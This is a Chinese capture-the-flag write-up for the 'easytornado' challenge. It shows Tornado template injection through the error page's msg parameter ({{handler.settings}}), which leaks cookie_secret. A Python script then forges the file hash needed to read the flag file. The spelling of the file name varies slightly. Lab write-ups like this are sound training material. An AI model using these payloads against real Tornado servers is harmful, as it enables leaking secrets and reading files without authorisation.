攻防世界 WEB 高手进阶区 easytornado Writeup

攻防世界 WEB 高手进阶区 easytornado Writeup

题目介绍

image-20210115143110273

题目考点

  • Python模板 tornado
  • 模板注入

Writeup

  1. 进入题目, 目录遍历得到

    /flag.txt
    /welcome.txt
    /hints.txt
    
    /flag.txt
    flag in /fllllllllllllag
    /welcome.txt
    render
    /hints.txt
    md5(cookie_secret+md5(filename))
    
  2. 分析

    • 进入第一个文件 flag.txt,发现好像提示文件名为/fllllllllllag

    • 进入第二个文件 welcome.txt,发现提示为render,render({options}) 去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。

    • 进入第三个文件hints.txt,发现提示md5(cookie_secret + md5(filename)),即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filenamecookie_secret,猜测文件名为/fllllllllllag,也就是说,只要知道cookie_secret就行了。

    • 观察查看文件时使用的url:

      http://220.249.52.134:43020/file?filename=/welcome.txt&filehash=0e875a192ca6f90ad46bc72295999e19

    猜测md5(cookie_secret + md5(filename))的结果就是访问文件时所需要的filehash

    尝试访问/fllllllllllag,发现跳转到错误页面

    image-20210115144159157

    测试 http://220.249.52.134:43020/error?msg={{str}} 发现存在模板注入

    image-20210115144245554

  3. 现在重点是获取cookie_secret,可以从模板注入入手

    查阅资料得,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施

    在tornado模板中,存在一些可以访问的快速对象,例如

     <title>
         {{ escape(handler.settings["cookie"]) }}
     </title>
    

    handler 指向RequestHandler, 而RequestHandler.settings又指向self.application.settings

    所有handler.settings就指向RequestHandler.application.settings了!

  4. 测试 http://220.249.52.134:43020/error?msg={{handler.settings}}

    image-20210115144755340

  5. 整理一下:

    filename:/fllllllllllag

    cookie_secret: 6ec075b3-6809-4f31-aedb-b129566a1087

    计算:md5(cookie_secret+md5(filename))

    import hashlib
    
    filename = '/fllllllllllllag'
    cookie_secret = '6ec075b3-6809-4f31-aedb-b129566a1087'
    
    def getmd5(string):
        md5 = hashlib.md5()
        md5.update(string.encode('utf-8'))
        return md5.hexdigest()
    
    print(getmd5(cookie_secret + getmd5(filename)))
    
    //输出
    abd5e68b7ae4c15f28bdc2b10690c2aa
    
  6. 构造最终payload

    http://220.249.52.134:43020/file?filename=/fllllllllllllag&filehash=abd5e68b7ae4c15f28bdc2b10690c2aa

    image-20210115150022414

posted @ 2021-01-15 15:02  FreeK0x00  阅读(173)  评论(0编辑  收藏  举报